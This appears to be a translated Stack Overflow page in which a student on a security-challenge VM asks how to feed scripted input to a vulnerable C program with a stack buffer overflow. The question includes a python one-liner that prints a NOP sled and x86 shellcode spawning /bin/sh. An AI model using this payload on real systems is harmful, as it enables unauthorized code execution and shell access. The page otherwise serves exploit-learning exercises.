python - 如何用脚本来控制程序的输入?

标签 python c

我需要控制一个用 C 编写的简单程序的输入。我在 Linux 虚拟机上工作(这是一个计算机安全挑战),我正在使用 GDB 寻找一个好的漏洞利用(在本例中是一个缓冲区溢出)。 这是代码:

static const char KEY[] = "BLOCKCHAIN";

void vuln(){
    int i;
    char buffer[616];

    int output = fread(buffer, 1, 4*1024, stdin);

    for (i = 0; i < 616; i++) {
      buffer[i] ^= KEY[i % sizeof(KEY)];
    }  

    printf("%s\n", buffer);
}

int main(int argc, char *argv[]){
    vuln();
    exit(0);
}

我要覆盖的行是 int output = fread(buffer, 1, 4*1024, stdin);。有没有办法用一个简单的脚本来控制该程序的输入(即输入流)?我想做类似的事情:

./vuln_program `python -c 'print("\x90"*923+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"+"\x48\xbf\xff\xff")'`

如果它是 main 的参数,则此方法有效,但不幸的是,我在 vuln() 函数中,无法执行此操作。教授们建议使用:Python的subprocess模块​​,或者read\write from\to a named pipe (mkfifo),或者使用pwntools Python库的process模块​​,但我不知道如何在这种情况下使用它们。

提前致谢。

最佳答案

你可以做类似的事情

$ python -c "exploit code" | ./vuln

关于python - 如何用脚本来控制程序的输入?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/55825546/

相关文章:

python - 从 celery 功能发出推送通知

python unittest - 使用 'buffer' 选项抑制标准输出 - 我该怎么做?

python - 如何在jupyter python笔记本中遵循DRY原则

C - 与终端交互,以便命令写入终端但不执行

C编程sprinf问题

python - 使用 r.assign 将变量从 python 分配给 R,然后使用 read.table

使用 Flask 服务器的 Python 脚本在 Windows 上退出需要很长时间

c - linux内核模块权限

c - 正确管理堆的缓冲区损坏

c - C输出中的合并排序